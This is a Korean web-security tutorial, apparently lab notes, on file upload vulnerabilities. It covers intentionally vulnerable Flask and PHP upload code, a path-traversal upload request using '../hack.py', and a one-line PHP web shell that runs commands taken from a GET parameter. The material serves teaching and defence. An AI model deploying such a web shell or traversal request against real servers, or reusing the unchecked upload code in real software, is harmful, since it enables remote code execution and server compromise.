Web Hacking - ServerSide : File Vulnerability (1)

  • 웹 셸 업로드 실습
  • 악성 파일 업로드 실습

ServerSide : File Vulnerability

이미지, 문서 등 파일 공유 서비스를 개발할 때, 이용자가 업로드한 파일을 데이터베이스가 아닌, 서버의 파일시스템에 저장하는 것이 개발하기 더 쉬복, 관리 효율이 높다. 그러나, 이러한 방식은 임의 파일이 다운로드 되는 취약점이나, 악성 웹셸 파일을 업로드하여 임의 코드를 실행할 수 있는 취약점을 발생시키기도 한다. File Vulnerability는 파일 업로드 취약점인 File Upload Vulnerability와 다운로드 취약점인 File Download Vulnerability로 나뉜다.

  • File Upload Vulnerability : 파일 시스템 상 임의 경로에 원하는 파일을 업로드하거나, 악성 확장자를 갖는 파일을 업로드할 수 있을 때 발생한다. 원하는 시스템 커맨드를 실행하는 워격 코드 실행 취약점을 유발할 수 있다

  • File Download Vulnerability : 공격자는 웹 서비스의 파일 시스템에 존재하는 임의 파일을 다운로드 받을 수 있으며, 이에는 패스워드 파일, 데이터베이스 백업본 등이 포함되어, 민감한 정보의 탈취 및 2차 공격 수행이 가능하다

File Upload Vulnerability

웹 서비스를 통해 이용자의 파일을 서버의 파일 시스템에 업로드하는 과정에서 발생하며, 이용자가 업로드될 파일의 이름을 임의로 정할 수 있을 때 발생한다. 파일 이름에 이용자가 입력한 문자열을 그대로 사용하거나, 이용자의 이메일, 닉네임 등을 포함시키는 등의 소스 코드 패턴이 이러한 취약점을 발생시킨다.

Path Traversal

파일 업로드를 허용하는 대개의 서비스는 보안을 위해 특정 디렉토리에만 업로드를 허용한다. 이러한 제한이 없다면, 악의적인 이용자가 웹 서버의 소스 코드나 서버에 있는 중요 시스템 파일을 덮어쓸 위험이 있다. Path Traversal은 업로드에 존재하는 이러한 제약을 우회하여, 임의 디렉토리에 파일을 업로드할 수 있는 취약점을 뜻한다.

아래 코드는 Path Traversal 취약점이 있는 코드이다

from flask import Flask, request
app = Flask(__name__)
@app.route('/fileUpload', methods = ['GET', 'POST'])
def upload_file():
	if request.method == 'POST':
		f = request.files['file']
		f.save("./uploads/" + f.filename)
		return 'Upload Success'
	else:
		return """
		<form action="/fileUpload" method="POST" enctype="multipart/form-data">
			<input type="file" name="file" />
			<input type="submit"/>
		</form>
		"""
if __name__ == '__main__':
	app.run()

/fileUpload는 POST 요청을 받으면 클라이언트가 전송한 파일을 ./uploads에 저장한다. 이 때 이용자가 입력한 파일 이름 f.file을 그대로 사용하기 때문에, Path Traversal에 취약하다. 예를 들어, 공격자가 ../와 같은 메타문자를 사용한다면, uploads를 벗어나 상위 디렉토리에 파일 업로드할 수 있다.

정상적인 파일 업로드 HTTP 요청

POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: https://storage.dreamhack.io
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i
------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="test.txt"
Content-Type: text/plain
upload test !
------WebKitFormBoundary20y3eoLVSNf9Ns5i--


위와 같은 정상적인 파일 업로드 HTTP 요청이 전송되면, 아래와 같이, uploads 폴더에 test.txt가 생성된다

$ ls -lR
-rw-r--r--  1 dreamhack  staff  461  1 30 21:52 app.py
drwxr-xr-x  3 dreamhack  staff   96  1 30 21:31 uploads
./uploads:
total 8
-rw-r--r--  1 dreamhack  staff   13  1 30 21:31 test.txt

악의적인 파일 업로드 HTTP 요청

POST /fileUpload HTTP/1.1
Host: storage.dreamhack.io
Origin: https://storage.dreamhack.io
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary20y3eoLVSNf9Ns5i
------WebKitFormBoundary20y3eoLVSNf9Ns5i
Content-Disposition: form-data; name="file"; filename="../hack.py"
Content-Type: text/plain
[malicious file content]
------WebKitFormBoundary20y3eoLVSNf9Ns5i--


위와 같은 악의적인 파일 업로드 HTTP 요청이 전송되면, 아래와 같이, app.py와 같은 디렉토리에 hack.py가 생성된다. hack.py가 app.py를 덮는다면, 서버가 재실행될 때 임의 파이썬 코드를 실행할 수 있을 것이다

$ ls -lR
-rw-r--r--  1 dreamhack  staff  461  1 30 21:52 app.py
-rw-r--r--  1 dreamhack  staff  431  1 30 22:12 hack.py
drwxr-xr-x  3 dreamhack  staff   96  1 30 21:31 uploads
./uploads:
total 8
-rw-r--r--  1 dreamhack  staff   13  1 30 21:31 test.txt

악성 파일 업로드

악성 파일 업로드 취약점은 이용자가 파일을 업로드할 때 이를 제대로 검사하지 않아서 발생하는 취약점을 뜻한다.

웹 셸

웹 서버는 .php .jsp, .asp 와 같은 확장자의 파일을 CGI(Common Gatewqy Interface)로 실행하고, 그 결과를 이용자에게 반환한다.
*웹 셸 : 임의 시스템 명령어를 실행해주는 웹 리소스

<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
    SetHandler application/x-httpd-php
</FilesMatch>

이는 Apache 설정 파일로, 이용자가 요청한 파일의 확장자가 정규표현식을 만족하면, x-httpd-php로 핸들링하게 한다. x-httpd-php는 PHP 엔진으로, 요청한 파일을 실행하고 결과를 반환하며, .php, .php3, .phtml 의 확장자 파일들이 위 해당 정규표현식을 만족한다.

위와 같은 방법으로 php 파일을 핸들링할 경우, 공격자가 임의의 php 파일을 .php 확장자로 업로드하고, GET 요청을 보낼 수 있다면 CGI에 의해 해당 코드가 실행되도록 할 수 있다.

악의적인 웹 리소스

웹 브라우저는 파일의 확장자나 응답의 Content-Type에 따라 요청을 다양하게 처리한다. 요청한 파일의 확장자가 .html 또는, 반환된 Content-Type의 헤더가 text/html일 경우, 응답은 HTML 엔진으로 처리된다. 또한, 파일의 확장자가 .png, .jpg 등의 이미지 확장자이거나, Content-Type이 image/png일 경우에는 이미지로 렌더링 된다.

만약 공격자가 서버에 exploit.html을 업로드하고, 이에 접근하는 URL이 https:// dreamhack.io/uploads/exploit.html 이라면, 브라우저는 이를 HTML로 해석한다. 따라서 exploit.html에 악의적인 스크립트를 삽입하면, Cross-Site-Scripting (XSS) 공격으로 이어질 수 있습니다.


악성 파일 업로드 실습

악성 파일 업로드 모듈 구성 코드

<?php
if(!empty($_FILES['file'])){
  $filename = "user_uploaded_file_".time();
  $ext = pathinfo($_FILES['file']['name'], PATHINFO_EXTENSION);
  $path = "./uploads/" . $filename . "." . $ext;
  
  if(move_uploaded_file($_FILES['file']['tmp_name'], $path)) {
    return true; // upload success
  } else {
    return false; // upload fail
  }
}
?>

파일 이름을 임의의 파일명 + . + 확장자 로 생성하므로, Path Traversal을 이용한 공격은 불가능하다. 하지만, 이용자가 올린 확장자를 별다른 검사 없이 사용하므로 php 웹셸을 업로드할 수 있다. 또한, html 파일을 업로드하여 Stored XSS를 수행할 수도 있다.

웹 셸 업로드
<?php
  system("ls");
  system($_GET[x]);
?>
Stored XSS 시도

악성 파일 업로드


업로드 된 파일 실행